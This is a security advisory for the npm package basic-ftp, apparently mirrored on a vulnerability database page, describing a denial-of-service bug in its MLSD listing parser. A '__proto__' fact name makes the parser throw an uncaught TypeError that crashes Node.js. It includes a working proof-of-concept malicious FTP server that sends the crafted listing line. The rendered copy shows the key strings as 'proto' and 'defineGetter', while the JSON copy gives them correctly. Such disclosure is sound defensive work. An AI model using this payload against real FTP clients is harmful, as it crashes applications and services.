GHSA-5PM8-86M8-9M6R
Vulnerability from github – Published: 2026-11-12 21:42 – Updated: 2026-11-12 21:42Summary
basic-ftp's MLSD directory-listing parser (src/parseListMLSD.ts) looks up fact-handler functions in a plain object literal keyed directly by fact names taken from the FTP server's response, with no validation. A directory-listing line containing the fact name "proto" resolves this lookup to Object.prototype (inherited, non-own, non-function) instead of undefined, so the "not a function" guard is bypassed and the code throws TypeError: factHandler is not a function.
This TypeError is not an FTPError, so it is not caught by Client.list()'s retry logic and propagates as a rejected promise out of list() and every API built on top of it (list, downloadToDir, uploadFromDir, clearWorkingDir, removeDir). Any FTP server the client connects to — or any on-path attacker on a plaintext (non-TLS) FTP session — can crash the calling application by returning one crafted line in a directory listing. If the application does not wrap every one of these calls in try/catch, the rejection is unhandled and crashes the Node.js process (default behavior since Node 15).
Details
File: src/parseListMLSD.ts
const factHandlersByName: {[key: string]: FactHandler} = {
"size": parseSize,
"sizd": parseSize,
"unique": (value, info) => { info.uniqueID = value },
"modify": (value, info) => { ... },
"type": (value, info) => { ... },
"unix.mode": (value, info) => { ... },
...
}
export function parseLine(line: string): FileInfo | undefined {
const [ packedFacts, name ] = splitStringOnce(line, " ")
...
const facts = packedFacts.split(";")
for (const fact of facts) {
const [ factName, factValue ] = splitStringOnce(fact, "=")
if (!factValue) { continue }
const factHandler = factHandlersByName[factName.toLowerCase()] // <-- unsafe lookup
if (!factHandler) { continue }
const result = factHandler(factValue, info) // <-- throws here
...
}
return info
}
factHandlersByName is a plain {} object literal, so it inherits from Object.prototype. Property access does not distinguish own keys from inherited ones. When factName.toLowerCase() === "proto", the bracket lookup factHandlersByName["proto"] returns Object.prototype itself — a truthy, non-undefined value — so the if (!factHandler) continue guard does not fire. The code then tries to call Object.prototype as a function: factHandler(factValue, info), which throws TypeError: factHandler is not a function.
This line runs inside parseList() (src/parseList.ts), called synchronously from a .map() over every line of the listing, which in turn is called from Client._requestListWithCommand() -> Client.list() (src/Client.ts). list()'s only error handling is:
catch (err) {
const shouldTryNext = err instanceof FTPError
if (!shouldTryNext) { throw err }
lastError = err
}
A plain TypeError is not an FTPError, so it is immediately rethrown instead of being retried or suppressed, and the Promise returned by list() rejects with it.
Affected call paths (all eventually call Client.list()): - Client.list() - Client.downloadToDir() / _downloadFromWorkingDir() - Client.clearWorkingDir() - Client.removeDir()
Only "proto" triggers the crash this way; other reserved Object.prototype property names tested ("constructor", "toString", "hasOwnProperty", "valueOf", "defineGetter") happen to resolve to actual functions on Object.prototype, so they are called without throwing (silently ineffective, not a crash). This confirms the root cause is the use of an unguarded object literal as a dictionary keyed by untrusted server input, rather than something specific to one property.
Proof of concept
Prerequisites: Node.js, a clone/checkout of basic-ftp, npm install then npm run buildOnly (or npx tsc) to produce dist/.
Step 1 — Minimal reproduction of the parser bug alone:
node -e '
const { parseList } = require("./dist/parseList");
parseList("__proto__=x;type=file;size=10; evil.txt");
'
Expected result: Uncaught TypeError: factHandler is not a function at parseLine (.../dist/parseListMLSD.js:...)
Step 2 — End-to-end reproduction through the public Client API, proving a real FTP server can trigger this over the wire with no client modification:
Save as poc.js in the repo root and run `node poc.js`:
const net = require("net")
const { Client } = require("./dist/index")
const server = net.createServer(socket => {
socket.write("220 fake ftp ready\r\n")
socket.on("data", data => {
const cmd = data.toString().trim()
if (cmd.startsWith("USER")) socket.write("230 ok\r\n")
else if (cmd.startsWith("OPTS") || cmd.startsWith("TYPE") ||
cmd.startsWith("STRU") || cmd.startsWith("PBSZ") ||
cmd.startsWith("PROT")) socket.write("200 ok\r\n")
else if (cmd.startsWith("FEAT")) socket.write("211-Features\r\n MLST type;size;\r\n211 End\r\n")
else if (cmd.startsWith("EPSV")) {
const dataServer = net.createServer(dsock => {
// The malicious line: fact name "__proto__"
dsock.end("__proto__=pwn;type=file;size=4; evil.txt\r\n")
})
dataServer.listen(0, "127.0.0.1", () => {
const p = dataServer.address().port
socket.write(`229 Entering Extended Passive Mode (|||${p}|)\r\n`)
})
}
else if (cmd.startsWith("MLSD") || cmd.startsWith("LIST")) {
socket.write("150 Here comes the listing\r\n")
setTimeout(() => socket.write("226 Listing complete\r\n"), 50)
}
else socket.write("200 ok\r\n")
})
})
server.listen(2121, "127.0.0.1", async () => {
const client = new Client()
try {
await client.access({ host: "127.0.0.1", port: 2121, user: "a", password: "b" })
const files = await client.list()
console.log("list() returned normally (unexpected):", files)
} catch (err) {
console.log("client.list() threw:", err.constructor.name, "-", err.message)
} finally {
client.close()
server.close()
process.exit(0)
}
})
Expected output:
client.list() threw: TypeError - factHandler is not a function
Configuration notes: - No TLS, auth bypass, or special server config needed — this is a plain FTP (PASV/EPSV text) session using the server's FEAT response to turn on MLSD, which is the common path for any modern FTP server. - The same crash can be delivered via a LIST-fallback MLSD-shaped line too, since parseList() auto-detects the format from the last listing line. - In a real application without a try/catch around list()/downloadToDir()/ clearWorkingDir()/removeDir(), this rejection is unhandled and terminates the Node.js process by default (Node >=15 unhandledRejection behavior is "throw").
Impact
Type: Denial of Service (CWE-248: Uncaught Exception, enabled by CWE-1321-style unguarded dictionary lookup on an object literal).
Who is impacted: Any application using basic-ftp's Client.list(), downloadToDir(), uploadFromDir() (via ensureDir/clearWorkingDir paths), clearWorkingDir(), or removeDir() against a server that is malicious, compromised, or reachable by an on-path attacker on a non-TLS FTP session. No authentication to the target server is required beyond whatever credentials the application already uses, and no user interaction is required — a single crafted directory-listing line is sufficient.
Confidentiality: None. Integrity: None. Availability: High — unhandled rejection crashes the Node.js process by default, taking down the whole application/service, not just the FTP operation.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.2.3"
},
"package": {
"ecosystem": "npm",
"name": "basic-ftp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-126345"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-12T21:42:12Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nbasic-ftp\u0027s MLSD directory-listing parser (src/parseListMLSD.ts) looks up fact-handler functions in a plain object literal keyed directly by fact names taken from the FTP server\u0027s response, with no validation. A directory-listing line containing the fact name \"__proto__\" resolves this lookup to Object.prototype (inherited, non-own, non-function) instead of undefined, so the \"not a function\" guard is bypassed and the code throws `TypeError: factHandler is not a function`.\n\nThis TypeError is not an FTPError, so it is not caught by Client.list()\u0027s retry logic and propagates as a rejected promise out of list() and every API built on top of it (list, downloadToDir, uploadFromDir, clearWorkingDir, removeDir). Any FTP server the client connects to \u2014 or any on-path attacker on a plaintext (non-TLS) FTP session \u2014 can crash the calling application by returning one crafted line in a directory listing. If the application does not wrap every one of these calls in try/catch, the rejection is unhandled and crashes the Node.js process (default behavior since Node 15).\n\n### Details\n\nFile: src/parseListMLSD.ts\n```\nconst factHandlersByName: {[key: string]: FactHandler} = {\n \"size\": parseSize,\n \"sizd\": parseSize,\n \"unique\": (value, info) =\u003e { info.uniqueID = value },\n \"modify\": (value, info) =\u003e { ... },\n \"type\": (value, info) =\u003e { ... },\n \"unix.mode\": (value, info) =\u003e { ... },\n ...\n}\n\nexport function parseLine(line: string): FileInfo | undefined {\n const [ packedFacts, name ] = splitStringOnce(line, \" \")\n ...\n const facts = packedFacts.split(\";\")\n for (const fact of facts) {\n const [ factName, factValue ] = splitStringOnce(fact, \"=\")\n if (!factValue) { continue }\n const factHandler = factHandlersByName[factName.toLowerCase()] // \u003c-- unsafe lookup\n if (!factHandler) { continue }\n const result = factHandler(factValue, info) // \u003c-- throws here\n ...\n }\n return info\n}\n```\nfactHandlersByName is a plain `{}` object literal, so it inherits from Object.prototype. Property access does not distinguish own keys from inherited ones. When factName.toLowerCase() === \"__proto__\", the bracket lookup factHandlersByName[\"__proto__\"] returns Object.prototype itself \u2014 a truthy, non-undefined value \u2014 so the `if (!factHandler) continue` guard does not fire. The code then tries to call Object.prototype as a function: `factHandler(factValue, info)`, which throws `TypeError: factHandler is not a function`.\n\nThis line runs inside parseList() (src/parseList.ts), called synchronously from a `.map()` over every line of the listing, which in turn is called from Client._requestListWithCommand() -\u003e Client.list() (src/Client.ts). list()\u0027s only error handling is:\n```\n catch (err) {\n const shouldTryNext = err instanceof FTPError\n if (!shouldTryNext) { throw err }\n lastError = err\n }\n```\nA plain TypeError is not an FTPError, so it is immediately rethrown instead of being retried or suppressed, and the Promise returned by list() rejects with it.\n\nAffected call paths (all eventually call Client.list()):\n- Client.list()\n- Client.downloadToDir() / _downloadFromWorkingDir()\n- Client.clearWorkingDir()\n- Client.removeDir()\n\nOnly \"__proto__\" triggers the crash this way; other reserved Object.prototype property names tested (\"constructor\", \"toString\", \"hasOwnProperty\", \"valueOf\", \"__defineGetter__\") happen to resolve to actual functions on Object.prototype, so they are called without throwing (silently ineffective, not a crash). This confirms the root cause is the use of an unguarded object literal as a dictionary keyed by untrusted server input, rather than something specific to one property.\n\n### Proof of concept\n\nPrerequisites: Node.js, a clone/checkout of basic-ftp, `npm install` then `npm run buildOnly` (or `npx tsc`) to produce dist/.\n\nStep 1 \u2014 Minimal reproduction of the parser bug alone:\n\n node -e \u0027\n const { parseList } = require(\"./dist/parseList\");\n parseList(\"__proto__=x;type=file;size=10; evil.txt\");\n \u0027\n\nExpected result:\n Uncaught TypeError: factHandler is not a function\n at parseLine (.../dist/parseListMLSD.js:...)\n\nStep 2 \u2014 End-to-end reproduction through the public Client API, proving a real FTP server can trigger this over the wire with no client modification:\n\n Save as poc.js in the repo root and run `node poc.js`:\n\n const net = require(\"net\")\n const { Client } = require(\"./dist/index\")\n\n const server = net.createServer(socket =\u003e {\n socket.write(\"220 fake ftp ready\\r\\n\")\n socket.on(\"data\", data =\u003e {\n const cmd = data.toString().trim()\n if (cmd.startsWith(\"USER\")) socket.write(\"230 ok\\r\\n\")\n else if (cmd.startsWith(\"OPTS\") || cmd.startsWith(\"TYPE\") ||\n cmd.startsWith(\"STRU\") || cmd.startsWith(\"PBSZ\") ||\n cmd.startsWith(\"PROT\")) socket.write(\"200 ok\\r\\n\")\n else if (cmd.startsWith(\"FEAT\")) socket.write(\"211-Features\\r\\n MLST type;size;\\r\\n211 End\\r\\n\")\n else if (cmd.startsWith(\"EPSV\")) {\n const dataServer = net.createServer(dsock =\u003e {\n // The malicious line: fact name \"__proto__\"\n dsock.end(\"__proto__=pwn;type=file;size=4; evil.txt\\r\\n\")\n })\n dataServer.listen(0, \"127.0.0.1\", () =\u003e {\n const p = dataServer.address().port\n socket.write(`229 Entering Extended Passive Mode (|||${p}|)\\r\\n`)\n })\n }\n else if (cmd.startsWith(\"MLSD\") || cmd.startsWith(\"LIST\")) {\n socket.write(\"150 Here comes the listing\\r\\n\")\n setTimeout(() =\u003e socket.write(\"226 Listing complete\\r\\n\"), 50)\n }\n else socket.write(\"200 ok\\r\\n\")\n })\n })\n\n server.listen(2121, \"127.0.0.1\", async () =\u003e {\n const client = new Client()\n try {\n await client.access({ host: \"127.0.0.1\", port: 2121, user: \"a\", password: \"b\" })\n const files = await client.list()\n console.log(\"list() returned normally (unexpected):\", files)\n } catch (err) {\n console.log(\"client.list() threw:\", err.constructor.name, \"-\", err.message)\n } finally {\n client.close()\n server.close()\n process.exit(0)\n }\n })\n\nExpected output:\n\n client.list() threw: TypeError - factHandler is not a function\n\nConfiguration notes:\n- No TLS, auth bypass, or special server config needed \u2014 this is a plain FTP (PASV/EPSV\n text) session using the server\u0027s FEAT response to turn on MLSD, which is the common\n path for any modern FTP server.\n- The same crash can be delivered via a LIST-fallback MLSD-shaped line too, since\n parseList() auto-detects the format from the last listing line.\n- In a real application without a try/catch around list()/downloadToDir()/\n clearWorkingDir()/removeDir(), this rejection is unhandled and terminates the\n Node.js process by default (Node \u003e=15 unhandledRejection behavior is \"throw\").\n\n### Impact\n\nType: Denial of Service (CWE-248: Uncaught Exception, enabled by CWE-1321-style unguarded dictionary lookup on an object literal).\n\nWho is impacted: Any application using basic-ftp\u0027s Client.list(), downloadToDir(), uploadFromDir() (via ensureDir/clearWorkingDir paths), clearWorkingDir(), or removeDir() against a server that is malicious, compromised, or reachable by an on-path attacker on a non-TLS FTP session. No authentication to the target server is required beyond whatever credentials the application already uses, and no user interaction is required \u2014 a single crafted directory-listing line is sufficient.\n\nConfidentiality: None. Integrity: None. Availability: High \u2014 unhandled rejection crashes the Node.js process by default, taking down the whole application/service, not just the FTP operation.",
"id": "GHSA-5pm8-86m8-9m6r",
"modified": "2026-11-12T21:42:12Z",
"published": "2026-11-12T21:42:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5pm8-86m8-9m6r"
},
{
"type": "WEB",
"url": "https://github.com/patrickjuchli/basic-ftp/commit/a22664a45d889f7d281e5bdd212c68c0a58d0ae6"
},
{
"type": "PACKAGE",
"url": "https://github.com/patrickjuchli/basic-ftp"
},
{
"type": "WEB",
"url": "https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "basic-ftp: Uncaught TypeError in MLSD directory-listing parser via __proto__ fact name causes DoS in Client.list()"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.